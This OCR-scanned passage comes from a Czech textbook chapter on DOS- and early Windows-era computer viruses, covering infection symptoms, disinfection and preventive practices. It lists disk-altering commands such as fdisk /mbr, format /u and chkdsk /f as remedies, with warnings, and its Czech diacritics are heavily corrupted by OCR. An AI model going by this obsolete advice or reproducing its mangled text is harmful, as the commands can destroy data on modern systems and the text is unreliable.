odvozeniny vzniklé napt. pfehozenim instrukci. Je zfejmé, Ze prosté prehozeni nékolika instruk-
ci v téle viru je pro klasickou skenovaci metodu nefesitelngm problémem.

Skenovani na principu neuronovych siti spolecné s heuristickou metodou analyzy podezie-
leho programu, pfipadné ve spolupraci s fuzzy logikou, se jevi jako optiméalni metoda virove
detekce budoucnosti.

Jednim z antivirovych programu vyuZzivajicich neuronové sité je Norton AntiVirus.

7. Metodické uzivatelské postupy antivirové
kontroly a ochrany

Pro bézného uZivatele je nesmirné dilezité védét, jakgm zptisobem zjistit pfitomnost viru na po-
Citadi a zejména co délat v ptipadé jeho nalezeni. Aktivni pfitomnost viru na pocitadi je nutnou
podminkou pro jeho dal$i mnoZeni.

7.1. Priznaky pritomnosti viru na pocitaci

Uvodem je nesmirng dillezité zminit se a hlavné uvedomit si, Ze ne kazdy virovy p¥iznak chova-
ni pocitace je skutecné zptsoben virem. D4 se ¥ici, Ze jen malé procento pfipadi, pfi nichz mi-
zi soubor, dochazi k resetovani poéitace, neni mozné spustit urity program & dochazi k jiné
neocekéavané Cinnosti, byva skuteéné zptisobeno virem.

Mezi nejcastéjsi diivody neopodstatnéného podezieni na pfitomnost viru patfi:

— Nespravné nastaveni dosovich konfigura¢nich systémovych soubori CONFIG.SYS
a AUTOEXEC.BAT. Velice ¢asto dochéazi k neZzadoucim experimentiim uZivatele nap¥. pfi
snaze udetfit par kilobajti paméti zafazenim nevhodného programu do horni paméti (high
memory).

— Chyba integrity dat na disku. Softwarova cache (napt. SMARTDRV) mlze v pfipadé za-
mrznuti pocitace nestihnout vyprazdnit sviij obsah, ¢imz dojde k chybam zejména v tabul-
ce FAT a tim napft. i ke ztraté celého souboru. Piikaz chkdsk /f pomuzZe tyto zdvady na
disku odstranit. UZivatel by si mél navyknout spole¢né s antivirovgm testem provadét i test
integrity dat, v nejjednodus$im piipadé pravé systémovym programem chkdsk. DalSimi
vhodnymi moznostmi jsou rovnéz systémovy scandisk nebo ndd z Norton Utilities.
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Prikaz chkdsk vyzaduje zna¢nou obezretnost. V pFipadé viskytu adresaiového viru zpu-
sobi parametr /f definitivni ztratu vSech infikovanych soubori!

Je vhodné nejprve spustit chkdsk bez parametrt a az pak pfipadné volit opétovné spusténi
s parametrem /f. Indikaci p¥itomnosti adresafového viru je hladeni o fadé kiizovych referenci na
stejné misto. Toto hla3eni je, vzhledem ke stealth podobé adresatovych virti, zobrazovano pou-
ze tehdy, neni-li virus aktivni v pameéti, tj. doslo-li k zavedeni operac¢niho systému z nezavirova-
né zélozni systémové diskety.

V éfe Windows je dalsim dileZitym momentem pro integritu dat na disku spravng postup vy-
pnuti poéitace, kdy nelze pouze vypnout vypinaé, ale je potfeba provést spravng systémovy
,shutdown*.

— Nevhodny ovlada¢ mysi. Je aZ s podivem, jak nesnéasenlivé mtze byt programové okoli vi-

¢i nestandardnimu ovladadi mysi.

— Zaplnéni opera¢ni paméti. Nainstalovani fady rezidentnich programt pfi spusténi operac-

niho systému bézné znemozni spusténi paméfové naroinéjsiho programu. Vghodné je
v tomto p¥ipadé vyuzit variantni moznosti soubortt CONFIG.SYS a AUTOEXEC.BAT po-
dle momentalni potfeby ¢&i optimalizaéniho spravce pameéti.

— Zpomaleni chodu poéitace. K této moznosti miize dojit paradoxné zejména pfi nainstalo-

vani nevhodného antivirového rezidentniho 3titu.

— Vtipky (jokes). Existuje fada vtipngch programt simulyjicich pfitomnost viru na poéitaéi.

Pochopitelné, ze muze dojit i k opravnénému podezieni na pfitomnost viru. Mezi takovéto
priznaky patfi zejména:
e Hlaseni antivirového programu
Z&kladni moznost zjisténi ptitomnosti viru na pocitadi. Virus je odhalen v pribéhu antivirové
kontroly bud’ skenerem nebo rezidentnim $titem. DuleZité vsak je opét zduraznit moznost tzv.
falednych poplachi. K jiz probirangm moZznostem zplisobenych uZivatelem pat¥i neodmysli-
telné i vzdjemnéa nesnasenlivost antivirovgm programu vii¢i sobé navzajem, kdy jeden antivi-
rovy program neopodstatnéné hlasi pfitomnost viru v jiném antivirovém programu.

e Vlastni projevy vira
Zde patti zejména vizualni a zvukové projevy virlit v dobé aktivace jejich prezentaéni rutiny.
Virus Ambulance Car napf. ndhodné voli, zda pfi spusténi infikovaného programu projede
pres obrazovku sanitka se zapnutou sirénou. V pfipadé nepfistupnosti diskovgch dat je ob-
tizné urcit, zda se jedna o utok destruktivniho viru & chybu jinou. Nelze zapomenout, Ze i Zi-
votnost jednotlivich dilt pocitace je omezena a tak je potfeba vzit do vahy i moZznosti hard-
warovych poruch.

¢ Vizualni metoda zjisténi pfitomnosti viru
dde o znalost nezavirovangch podob spustitelngch soubori a zavadéciho sektoru disku ¢i dis-
kety. Tato metoda je vhodnéa zejména pro pokrodilejsi uzivatele, ktefi jsou schopni rozlisit vi-
rus od korektniho tvaru.
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Obrazky 17 az 19 ukazuiji, jak vypadaji nezavirované podoby tabulky rozdéleni pevného
disku a boot sektori operacnich systémtit MS-DOS a Windows 95.

Dump Sector WUersiom 2.5 by QA-Software
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Obrdzek 18: Origindlni zavadéci sektor MS-DOSu
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Obrézek 19: Origindlni zavédéci sektor Windows 95

Uvedené podoby nejsou jedingmi mozngmi. V realném svété se vyskytuje nékolik odvozenin
operacniho systemu MS-DOS ¢&i variant Windows a i pouziti specialnich forméatovacich progra-
mul muiZe zpusobit, Ze uZivateliv zavadéci sektor ma jing tvar.

Obrazek 20 predstavuje binarni podobu viru Aragon, jenz se miize vyskytovat jak v tabulce
rozdéleni pevného disku, tak i v zavadécim sektoru diskety. Rozdil je patrny okamzité.

Dump Sector Version 2.5 by QA-Sof tware
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Obrézek 20: Zavirovany zavddéci sektor virem Aragon
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Pro kontrolu obsahu sektorti Ize pouZit nékterou ze sharewarovgch utilit nebo napf¥. diskovy
editor diskedit z baliku Norton Ultilities.

U néktergch typl virl je viak potfeba mit se na pozoru i pfi této metodé. Pohled na zaviro-
vanou tabulku rozdéleni pevného disku virem One Half se lisi jen nepatrné — virus zachovava
strukturu rozdéleni sektoru na fidici program a vlastni tabulku nebot jeho zavadéci kod je kréat-
ky (jen 41 B) a velice podobny zavadédi originalnimu. Virus Starship modifikuje dokonce pou-
hé tfi bajty!

Obdobné lze aplikovat tuto metodu i na kontrolu spustitelngch soubor. Na obrazcich 21
a 22 jsou vidét binarni podoby souboru *.COM pfed a po zavirovani virem Pojer. Indikaci zavi-
rovanosti je v tomto pfipadé hned nékolik. Zvétsila se velikost programu a zejména konec sou-
boru obsahuje podeztely ,binarni Srot“. A toto je pravé vizualni zachytng bod. Znaéné procento
programil obsahuje na svém konci bud’ datovou oblast vyplnénou nulami &i jinou (textovou) in-
formaci, ze které jasné vypljva, Ze soubor neni zavirovan souborovym prodluzujicim virem. Je
dobré zvyknout si alespoii na tuto primitivni antivirovou kontrolu neznédmého programu pted je-
ho spusténim. V pfipadé nejistoty se pak zcela jisté vyplati provést antivirovou kontrolu nékte-
rgm z dostupngch programtl nebot tato metoda odhali jen urcitou skupinu pocitacovich virQ.

Obrézek 21: Nezavirovany soubor *.COM (jednoduchy virovy lapag)
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Obrazek 22: Stejny soubor *.COM zavirovany virem Pojer

Problemy uzivateli viak zadinaji v okamziku, kdy program vyuziva spustitelnou kompresi
(PKLite, LZExe apod.) a uréit miru pfipadné zavirovanosti souboru je touto metodou nemozné.
Neékteré viry navic uméle vytvati dojem, Ze se jedna o spustitelnou kompresi — virus Lemming
obsahuje na konci svého téla matouci fetézec ,Packed file is corrupt®, ktery se bézné vyskytu-
je pravé u skute¢né komprimovangch programu.

Pfes viechny antivirové postupy nikdy nelze na 100% vyloucit moznost virového utoku. Je-
dingm postupem, ktery se blizi této bajné meté, je odkrokovani ivodniho sledu instrukci pro-
gramu, na jehoz zakladé mutze uZivatel urcit, zda program je &i neni infikovan. Nastupem 32bi-
tovgch virti, které umoziuji ,,zavésit se” v podstaté na libovolné misto béhu programu, je vsak
tato metoda silné zpochybnéna.

Je naprosto pochopitelné, Ze podobné postupy miize provadét pouze uzivatel s nemalou
programétorskou zkuSenosti a nelze je doporucit béznym uZivateltim.

Ve zkratce lze viechny virové symptomy shrnout do nasledujicich bodu:

— ZvétSeni velikosti infikovanych souborti — pfiznak souborovgch prodluzujicich virti.

- Neopodstatnéna rezidentni instalace infikovaného programu (Ize zjistit napt. systémovym

piikazem mem).

— Zpomaleni chodu poéitace (spousténi programu trva déle nez obvykle, delsi odezvy pfi

préaci s disketou apod.).

— Naruseni integrity dat a poskozeni operaéniho systému (kiiZové odkazy v tabulce FAT, bo-

otovaci viry apod.).

- Zpravy viru zobrazované na obrazovce &i tiskarné (napf. makroviry).
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— Grafické projevy (pohyb ping-pongového micku po obrazovce apod.).

— Zvukoveé efekty (od chaotickych pazvukt az napf. po ruskou hymnu - virus Hymn).

- Zména atributt soubor(i, zejména data a ¢asu aktualizace.

— Nepfedvidany reset pocitace.

- Jiné ptiznaky (program bezdivodné pfistupuje na disketovou jednotku — rozsvécuje se sig-
naliza¢ni LED-dioda, opakované dochéazi k vysunovéni a zasunovani dvifek CD-jednotky —
poltergeistovy efekt viru Girigat apod.).

Z uvedenych odstavcl je ziejmé, Ze dochazi do jisté miry k prolinani opodstatnénych a ne-
opodstatnénych podezieni na pfitomnost viru. Pfesné rozlieni vyzaduje vzdy individualni p¥istup.

Ptikazy typu chkdsk ¢i scandisk lze zjistit pfipadnou pfitomnost vadnych sektori na disku.
Je to indikace pfitomnosti viru?

Pfitomnost vadnych sektori bgva zplisobena zejména technickymi poruchami povrchu dis-
ku. Formatovaci program pak oznadi tyto sektory jako vadné, aby doslo k zamezeni jejich po-
uziti. Poéitatové viry pouzivaji tuto techniku k zamezeni ptepisu téla viru ¢i odloZzeného origi-
nalniho zavadéciho sektoru. Pokud se tedy vadné sektory objevi na disku neocekavané, resp.
nahle se zvétsi jejich pocet, pak pfitomnost viru je velice pravdépodobna.

Obecnym pravidlem zjisténi pfitomnosti viru na poéitaci je, ze ¢im dfive je virus odhalen, tim
lépe pro uzivatele. Zejména kritické je aktivaéni datum destruktivnich virt. Je zfejmeé, Zze pokud
virus neni odhalen pfed timto datem, pak néasledky pro disk byvaji tragické. Z tohoto divodu,
v ramci néktergch odbornych Casopist, existuje ,virovy kalendat”, upozoriujici na vgznamné
dny v roce zvlast nebezpeénych virt.

7.2, Zakladni odvirovaci praktiky

Pfitomnost viru na pocitaéi je pochopitelné nutné vyfesit jeho odstranénim. To pfinasi celou fa-
du tskali, podle toho o jaky virus se jedna. Pokud se jedna o ,bézng*“ virus, pak jeho odstrané-
ni je pouze véci techniky antivirového cleanu. Existuje viak fada virQ, kterd se svému odstrané-
ni z pocitace brani, a to dokonce aktivnim zptisobem. Jednéa se zejména o kbdovaci viry, které
specifickjm zptsobem koduji v realném Ease uloZena data na disku. V okamziku, kdy je dan
pozadavek na diskova data, odkodduje virus zakdédovang obsah diskového souboru a preda jej
operalnimu systému. PFi zpétném chodu — uloZeni na disk — jsou nejprve data zakédovana a az
pak ulozena. Jednoduché odstranéni viru neni v tomto pfipadé mozné, nebot by tim vlivem za-
kodovani doslo ke ztraté ulozengch dat. Prikladem jsou viry Disk Killer ¢ One Half. Vzhledem
k individualni povaze téchto vir biva jejich odstranéni nejcastéji tkkolem jednotéelovich odvi-
rovacich program.

Z&kladnim pravidlem G¢inného antivirového testu je zavedeni operacniho systému z ¢isté, ne-
zavirované diskety. Az pak lze provést tcinnou antivirovou kontrolu.

[ ptesto, Ze nékteré antivirové programy disponuji anti-stealth technikami, neni vhodné se na
tuto vlastnost bezmezné spoléhat, v pfipadé Windows vSak moc jingch moZnosti neni. Souboj
mezi viry a antivirovgmi programy je nekoneény a neustale se vyviji. Start operacniho systému
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ze zélozni diskety vylouci na 100% moznost aktivace jakéhokoliv viru z pevného disku. Pocho-
pitelné za pfedpokladu, Ze uzivatel po zavedeni operaéniho systému nebude spoustét programy
ulozené na pevném disku. Cista systémovéa disketa by tedy méla obsahovat zaroveri i piislusné
antivirové programy, ktergmi je pak mozné harddisk na pfitomnost viru otestovat. Opét je zfej-
mé, Ze tyto postupy lze aplikovat na dosovych systémech, nikoliv na systémech Windows.

Odstranéni viru za chodu pocitace, bez zavedeni opera¢niho systému z &isté zaloZzni diskety,
je zékladni chybou a byva Eastym podnétem k udivu uzivatele, ktery zjisti, Ze i po odstranéni vi-
ru zlistava tento nadale pfitomen na disku. Zde je zapotfebi uvédomit si aktivni pfitomnost té-
la viru v operaéni paméti RAM, které zaijisti, Ze okamzité po odvirovani je pevny disk opétov-
né infikovan. Uzivatel musi pfi odvirovacim procesu pocitat i s nékolika dalsimi mozngmi
komplikacemi:

¢ Problém virovich mutaci

Virové mutace jsou zdrojem nezanedbatelngch problém(. Zmutovany virus je virus, kterg nej-
Castéji vznika drobnou tpravou vichoziho viru — pfehozenim instrukci, zménou aktivaéniho
data, pfidanim dalSich rutin, zménou podpisu autora viru apod. Tyto mutace byvaji ve vétsi-
né piipadu ,dilem® programaétort, ktefi nejsou schopni vytvofit virus vlastni, a tak alespon
upravuji viry stavajici. Do Gvahy je viak nutné samoziejmé vzit i rizné viry odvozené ze za-
kladniho virového kmene. V tomto pfipadé hrozi, Ze jeden virovy identifikacni fetézec odpo-
vida dvéma i vice virim. Z tohoto divodu pak mize dojit ke stavu, kdy antivirovy program
mylné uréi druh viru a diky tomu provede nespravng odvirovaci postup, ¢imz dojde ke ztra-
té funkénosti odvirovaného programu.

vevrs

napadeného souboru a jeho obnova ze zalozni kopie.

e Obnova ze zaloznich kopii

V pfipadé soubort je obnova ze zaloznich Kkopii trividlni. Infikovany tvar je jednoduse pte-
psan uschovanou zalozni kopii. Vétsina antivirovgch programt vsak umoziuje i ischovu kri-
tickgch systémovich &asti pocitate na zalozni zachrannou disketu. Zejména jde o tabulku roz-
déleni pevného disku a obsah paméti CMOS. Je velice dulezité uvédomit si, Ze sestava
kazdého pocitae byva vétsinou unikatni a proto nelze zachrannou disketu pouzivat univer-
zalné nap¥. pro vdechny pocitace v pfislusné organizaci. Pfi zaméné zachranngch disket mu-
Ze uZivatel nespravnou obnovou zpusobit vice $kody nez samotnyg virus. Kriticka je spravna
podoba tabulky rozdéleni pevného disku, kterd, je-li pfi obnové zaménéna, muize zpUsobit
ztratu néktergch logickych ¢asti harddisku a tim i uloZenych dat.

Casto vsak zalozni kopie neni k dispozici. V tomto piipadé je uZivatel nucen spolehnout
se na antivirovy program a na jeho clean. Musi vak poéitat se viemi riziky nespravného od-
virovani. Z toho vyplyva, Ze pred zapocetim odvirovaciho procesu je vhodné udélat si zaloz-
ni kopie nejdiilezitéjsich programtl i pfesto, Ze se jedna o programy zavirované, nebot co jed-
nou antivirovy program odviruje, to uz lze vratit zpét velice obtizné.
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¢ Problem programatorskich chyb

Ne vsechny virové infikace Ize zdarné vyresit vyletenim. Pocitacovy virus je rovnéz program
a proto i zde asto dochéazi k chybam programatorskym. Tyto chyby pak mohou zplsobit,
ze korekini odvirovani neni mozné. Chyby virového kédu Casto zplisobuji mnohem vétsi pro-
blémy neZ vlastni destruktivni mechanismy, které bgvaji nejcastéji jednorazové. Projevy chyb
byvaji nahodilé a zavisi na konkrétnich podminkach.

U pfepisujicich vird pak uz z jejich samotné podstaty plyne, Ze odvirovani lze provést pou-
ze obnovenim ze zéloZni kopie.

Doporuceni provadét antivirovy test ze zélozni systémoveé diskety pfedurluje ,holy“ systém
a ptikazov§ fadek. Neni vhodné provadét dosové antivirové napravné mechanismy z prostie-
di Windows, ani z dosového okna Windows, zejména jedné-li se o manipulace s tabulkou roz-
déleni pevného disku.

Kromé zéakladnich odvirovacich praktik, které poskytuji antivirové programy, existuje i né-
kolik doplitkovich moZnosti odstranéni virt:

¢ Univerzalni odstranéni bootovacich vira

Systémovy piikaz fdisk /mbr ptepisuje fidici program tabulky rozdéleni pevného disku, coz
ve svych dusledcich znamenéa odstranéni bootovaciho viru. Jinou moZnosti je pouZiti progra-
mu diskedit ¢i jiného diskového editoru. Vizualni metodou lze najit (pfevazné na nulté stopé
disku) odloZeny originélni zavadéci sektor, ktery lze diskovym editorem vratit zpét na ptivod-
ni misto (0.hlava, 0.stopa, 1.sektor). To plati jak pro pevny disk, tak i pro diskety. Takto jed-
noduse lze obnovit origindlni zavadé¢ pouze v ptipadé, Ze se nejedna o kédovaci viry typu
One Half.

Pozor na jinou neodbornou manipulaci s programem fdisk, kterd mize vést az ke
ztraté vsech dat na harddisku!

Je-li potfeba odstranit virus pfimo ze zavadéciho sektoru logického disku (zejména C:), pak
Ize pouzit dalsi systemovy ptikaz sys c:, ktery zajisti restauraci inkriminovaného sektoru.

Pfi snaze o odstranéni bootovacich virl formatovanim je potfeba dat pozor na vy3si ver-
ze operac¢niho systému MS-DOS, které pro nepodminény format vyzaduji spusténi forméato-
vactho programu s parametrem /u, tj. format /u. Bez tohoto parametru se provadi pouze
rychlé formatovéani, pfi némz nedochézi k aktualizaci zavadéciho sektoru a tudiz ani nedochéa-
zi k odstranéni viru!

Specificky problém vzniké v pfipadé, napadne-li bootovaci virus starsi pocitac s nainstalo-
vanou podporou DDO pro zpfistupnéni celé kapacity pevného disku nad magickou dosovou
hranici 528 MB. Jadro DDO je uloZeno v tabulce rozdéleni pevného disku, které zavadi zby-
tek téla ovladace uloZeného na nulté stopé harddisku. Aékoliv podpora DDO (napt. Ontrack
Disk Manager) vykazuje stealth schopnosti mize dojit, zejména v ptipadé delsich tunelujicich
virt,, k ptrepséani Casti téla ovladace a tim i k jeho nefunkénosti. Po béZzném odvirovani je
v tomto p¥ipadé nutné podporu DDO znovu nainstalovat. Totéz plati i pro jiné specifické tva-
ry tabulek rozdéleni pevného disku, které fdisk neakceptuje. U novéjsich pocitacli podporu
DDO nahrazuje méd LBA nastavitelng pfimo v ramci ROM-BIOSu.
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Velice nebezpetna je i manipulace se zavadécimi sektory komprimovangch diska progra-
my Stacker & DoubleSpace nebo Sifrovangch diskil raznych bezpeénostnich systému, kdy
pHmy nespravng zasah miize mit nevratné destruktivni nasledky.

e Zasah do téla souborovych viru
Ve specifickych pfipadech, kdy neni k dispozici zalozni kopie infikovaného programu a anti-
virovy program neni schopen soubor vylécit, je nutné volit pfimy zasah do kédu programu
(patch). Cilem je vytadit destruktivni a replika¢ni rutiny viru. Je zfejmé, Ze tento zasah si vy-
Zaduje dtkladnou analyzu viru a znacnou programatorskou zruénost. V zadném ptipadé by
se o tento postup nemél pokouset bézng uzivatel — neprogramator!

Hlavni zasada pfi zjisténi pritomnosti viru je zachovani klidu. Panika mutZe zpUsobit vice skod
neZ samotny virus!

Castym jevem bgva panika neinformovanych uzivatell, ktefi napf. po zjisténi relativné ne-
8kodného viru Cadkill za¢inaji zcela zbytetné pro vétsi pocit bezpedi formatovat disk... V oka-
mziku zjisténi viru nastupuiji jiz citované informac¢ni programy, které poskytuji pottebné infor-
mace o mife nebezpelnosti viru a zptsobu jeho odstranéni. Pokud uZivatel neni na vysi, pfip.
si netroufa sam virus odstranit, je lépe svéfit tuto Cinnost zkugenéjsimu uZzivateli nebo antiviro-
vému expertovi.

7.3. Zakladni bezpecnostni praktiky

JelikoZ neexistuje antivirova ochrana G¢inna na sto procent, neni mozné pouze vyhranéné spo-
léhat na antivirové produkty, ale je zapottebi klast zejména znaény diiraz na obecné bezpeénost-
ni praktiky a prevenci. Bezpeénost na 100 % ziska uZivatel bohuzel jediné tim, Ze pocita¢ vi-
bec nebude pouzivat. V anglické odborné literatufe se €asto vyskytuje pojem safe hex, do
Cestiny volné prelozitelny jako bezpetné pocitatovani. Diraz je kladen na moznosti virového
napadeni a jejich eliminaci, na detekci virového atoku, jeho ohodnoceni a vlastni odstranéni.

Zakladnim bezpeénostnim pravidlem pro praci na pocitaci je zalohovat, zaloho-
vat, zalohovat.

¢ Vicenasobné zalohovani na nékolika médiich

Zalohovani. Kolik se jiz popsalo stati a vah na toto téma, a pfece spousta uzivatelt, pravé
diky podcenéni zélohovani, den co den pfichazi o sva data. Je mozné abstrahovat az k em-
pirickému faktu, Ze uZivatel nebere zalohovani vazné az do té doby, dokud alesponi jednou
tvrdé nenarazi a nepfijde napf. o svou nékolikatgdenni praci. Existuji vsak néktera specifika
zalohovani pravé v souvislosti s poéitacovimi viry, ktera stoji za uvedeni. V prvé fadé je pti
zalohovani zapotfebi mit na paméti, Ze diskety, coby paméfové médium, podléhaji zubu ¢a-
su a jejich Zivotnost je omezena. Proto neni od véci zélohovat dulezita data na dvou i vice di-
sketach. V pfipadé moznosti je rovnéz velice uZitecné pouzit pro zalohovani server pocitaco-
veé sité &i vypalovaci CD-ROM.
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¢ Vicenasobné zalohovani nékolika verzi

Neékteré destruktivni druhy virGh svoji povahou nuti brat v tvahu i platnost, resp. neplatnost
uloZenych dat. Moznost viru, ktery ,obéas“ zapiSe na disk nesmyslné tudaje, je velkou hroz-
bou a proto daldim dilezitym pravidlem je zalohovéani nékolika poslednich verzi dilezitgch
dat. Tim si uzivatel zajisti, Ze v pfipadé ,zatfadovani® podobného viru ma k dispozici jesté
predchazejici verze, o které by pfi prostém aktualizaénim prepisu pfisel.

Vicenasobné zalohovéani je nezbytnou prevenci nejen proti pocitatovym virtim, ale i proti
rizngm havariim, které se mohou na pocitaéi vyskytnout. Nevyplaci se zapominat, Ze i po-
CitaGovy hardware ma svoji Zivotnost a poruchovost.

e Prenos souboru ve zkomprimované podobé
Dalsim minimaliza¢nim Cinitelem moZnosti virové infekce je pfenos soubortl mezi pocitaci ve
zkomprimovaném tvaru. Existuji souborové viry, které napadaji pouze soubory odchézejici
z pocitace pres disketové jednotky A: resp. B:. Takovy virus ve své aktivni podobé nema du-
vod napadat dalsi programy na hostitelském pevném disku, ale zaméfuje se pravé na diske-
ty, které jsou pro $ifeni viru idedlnim prosttedkem. Komprimovany archiv moznost takovéto
infekce vylouci. Navic toto opatieni, v pfipadé pfenosu programil mezi vice uzivateli, miize
wyloucit daného uzivatele jako mozng zdroj virové nékazy. To vée umoziuje velice fidka Cet-
nost virQ, které jsou schopny infikovat programy uloZzené v archivech typu ARJ, ZIP apod.

¢ Ochrana souboru nastavenim atributu jen ke ¢teni
Read/only atribut ochrani soubor pouze proti velice primitivnim virtim. Vétsina souborovych
virlt dokéze zménit atribut souboru uréeného pouze ke ¢teni na atribut povolujici i zapis a tim
padem je tato ochrana naprosto netcéinna. Nastaveni read/only atributu je dobré pouze pro-
ti nechténému vimazu nebo prepisu obsahu dulezitého souboru.

e ,,Obalkové“ ochrany programu (Self Check)
Programové obalky, které samy kontroluji svoji integritu a pfipadnou pfitomnost viru, nejsou
prili§ Géinné. Povaha souborového viru definuje, Ze virus po spusténi infikovaného programu
prevezme Fizeni dffve nez vlastni program. Jednéa-li se o stealth virus, neni pro négj zadny pro-
blém proveést odvirovani programu a to jak jeho uloZzené podoby v diskovém souboru, tak
i jeho zavedeného obrazu do paméti. Ochranna obélka pak virus pochopitelné nezjisti.

¢ Ockovani (vakcinace) souboru
Zpusob umeélého vytvoteni virového identifikaéniho ptiznaku v téle programu nebo zavade-
ciho sektoru. OZkovani zplsobi, Ze virus pfi testovani na svoji pfitomnost dostane falenou
informaci o tom, Ze je jiz v daném objektu pfitomen. Vakcinace se v3ak v praxi z pochopi-
telngch diivoda prilis nevyskytuje. Neni moZné naolkovat program proti vdem virtim, ¢asto
navic muze dojit i ke kolizi mezi umisténim jednotlivich o¢kovacich znacek, nebot viry vétsi-
nou svoji identifikaci hledaji bud’ na zac¢atku nebo na konci souboru.

e Ochrana disket proti zapisu
Velice G¢innou metodou proti virovému napadeni disket je ochrana proti zapisu (write pro-
tect). Neexistuje moznost, jak zapsat na takto chranénou disketu. Pro tyto Géely, napt. pfi
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vytvareni distribuénich disket komeréniho charakteru, se pouzivaji speciélné upravené diske-
tové jednotky. Pravé tento bod se Casto stava jednim z neopodstatnénych pocitatovich mg-
tl, Ze viry jsou schopné obejit i tuto ochranu. Neni to vSak pravda. UZivatel ale musi dat po-
zor, aby pfi ochrané 5,25“ disket pouzil blokovaci nalepky dodavané s disketami. Bézna
kancelafska nalepka je naprosto nevyhovuijici, nebof opticky ¢len dokaze tuto nalepku pro-
svitit a disketa tim padem neni chréanéna! Kazda vytvorena zélozni systémovéa antivirova dis-
keta by meéla byt pfi antivirovém testu chranéna proti zapisu. Castym problémem byva sku-
tenost, Ze instalacni programy néktergch komerénich programu zapisuji na prvni disketu
(napt. pfi omezeném poctu instalaci), a tudiZ ochrana proti zapisu neni v tomto pfipadé moz-
na.

V dnesni dobé diskety silné ustupuji do pozadi, drtiva vétsina instalaci pouziva média CD-ROM.
Vytvoreni (dosové) zalozni systémoveé diskety
Systémovou disketu lze vytvotit bud pfimo pfi formatovani diskety pfikazem format /u /s ne-
bo vygenerovanim operacniho systému na disketu jiz naforméatovanou ptikazem sys a:. Pro
antivirové potfeby je vhodné nahrat na tuto disketu i pfislusng antivirovg program. V pfipa-
dé novgjsich BIOSU, umozhujicich zavedeni opera¢niho systému z CD, neni od véci, zejmeé-
na v pfipadé operaénich systémi Windows, mit k dispozici takovéto CD.

Nastaveni bootovaciho sledu

Novgjsi verze BIOSu obsahuji vestavénou antivirovou podporu. V nastavovacim programu
pocitate (SETUP) Ize najit moZnost nastaveni bootovaciho sledu (Boot Sequence) — potadi
disku, ze ktergch se pocitaé pokousi zavést operaéni systém. Nastavenim sledu C:, A: lze
prakticky vyloucit moznost infikace bootovacim virem. Za normalnich okolnosti totiz dojde
k pfednostnimu spusténi operaéniho systému z pevného disku C: a eventualni virus na dis-
keté A: nedostane pfileZitost.

Castou moznosti byvé i monitorovani pokusu o zépis do zavadéciho sektoru pevného dis-
ku. Dopliikovymi moZznostmi byva zaheslovani pfistupu k poéitaéi obecné (User Password) ¢i
zaheslovani SETUPu (Administration Password). MoZnosti zaheslovani doplnuji obecnou pro-
blematiku ochrany dat. Je vSak potfeba mit na paméti, Ze v pfipadé vipadku napéajeni pameé-
ti CMOS dochazi ke ztraté aktualniho nastaveni poéitace a tedy i k odstaveni ochrany heslem.
Stejné tak existuji i viry, které dokazi antivirovou ochranu BIOSu obejit & dokonce vypnout
(napf. virus Emperor).

Pouzivani originalniho softwaru

Neopomenutelnym bezpeénostnim pravidlem je pouZivani originalniho softwaru. Neopod-
statnénym mytem souvisejicim se $ifenim virQ je, Ze pocitacové viry napadaji poéital pro-
stfednictvim her. Hry patii pouze do kategorie nejcastéji sitenych programu (vétsinou nele-
galng) a tim padem se stavaji i nej¢astéjsim zdrojem pfenosu virové nakazy. Pocitacové viry
se ve své podstaté samoziejmé nevyhybaji Zadngm programtim, nékteré pouze neinfikuji vy-
brané antivirové programy. V{jimkou nejsou ani pfipady zavirovangch originalnich instala¢-
nich disket ¢i instalatniho CD programii komeréniho charakteru. Je v3ak jasné, Ze firma, kte-
ra tuto skuteCnost pfipusti, utrZi zna¢nou ranu na své povésti.
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Kazdy nové prichozi program by mél byt pfed svim vlastnim spusténim antivi-
rové otestovan!

Moznym zdrojem nakazy bgvaji programy dosazitelné i pres pocitaové sité (Fidonet, Inter-
net...). Kuriézni ptipad se objevil v roce 1995 na Internetu, kdy makrovirus Word-Nuclear se
§itil pomoci volné pristupného serveru FTP v dokumentu popisujicim jing starsi makrovirus
Word-Concept. Autor mél ziejmé smysl pro ironii a ¢erng humor. Sifeni makrovirt je velice
nebezpeéné, nebot frekvence pfenost textovich dokumentt je mezi pocitaci Castéjsi nez pre-
nosy spustitelngch programti. Makroviry jsou, vzhledem ke své povaze, i znacné systémoveé
nezavislé (neobsahuji pferuseni, neinstaluji se rezidentné do pameéti atd.) a tedy jsou i mno-
hem méné napadné na rozdil od klasickych viri programovych. Pravé makroviry nuti uziva-
tele testovat i pfichozi dokumenty (zejména textové).

Nebezpetnou hrozbou jsou rovnéz faledné verze antivirovjch programu. Znamy je pfipad
nepravého scanu McAfee, kterg vypoustél virus Slovakia. Nejbezpetngjsi cestou pro ziskani
originalni verze antivirového programu je pfimo jeho virobce pfip. distributor. V soucasné
dobé je jiz vétsina klicovych antivirovgch firem dosaZitelna prostfednictvim Internetu a lze te-
dy vyuzit i téchto sluzeb. Jedno doporuceni v souvislosti s antivirovgmi prostfedky — neni do-
bré spoléhat se na jeden antivirovy program. Je vhodné mit k dispozici alespoti dva antiviro-
vé programy, pfiCemZ je zcela logicka tvaha, Ze tuzemsky antivirus lépe odrazi potfeby
specifik okamzitého stavu vgskytu virlt v nasi republice. Vzhledem k sharewarovému pojeti
veétsiny antivird by nemélo byt splnéni tohoto doporuceni problémem. V Zadném piipadé ne-
ni vhodné spoléhat se na antivirové utility dodavané v ramci opera¢niho systému, jako je na-
pf. dosovy Microsoft Anti-Virus (msav.exe).

Specialnim bezpecnostnim pravidlem je pti zapoceti antivirového testu provedeni restartu
operatniho systému nikoliv stiskem klaves Ctrl+Alt+Del, ale stiskem tlacitka ,trvrdého®
RESETu z divodu existence virti, které stisk klaves Ctrl+Alt+Del monitoruji a zavedeni ope-
racniho systému pouze simuluji.

o Bezpecnost prace na pocitacove siti
Svoje samostatna specifika méa bezpecnost prace na pocitacové siti. Zde antivirova Cistota -
diciho pocitace sité (serveru) zavisi na spravci sité. Spravce sité by si mél dat pozor, odkud
se do sité prihlasuje pod svgm spravcovskym Gctem (,supervisor® na Novellu, ,root” na
Unixu apod.). Je-li totiz pracovni stanice zavirovana, pak jeho neomezena prava dovoli po-
CitaCovému viru zavirovat cel( server.

Spravce sité by nemél pouzivat pro své vlastni pracouvni ucely tcet sprduce, ale svj
individualni Gcet s omezenymi pravy zdapisu. Pro samotnou tdrzbu serveru by mél pak
mit vyhrazeny samostatny (virové isty) poditac.

Rovnéz spravce by mél dbéat na to, aby prava pro zapis mél bézng uZivatel pouze tam, kde
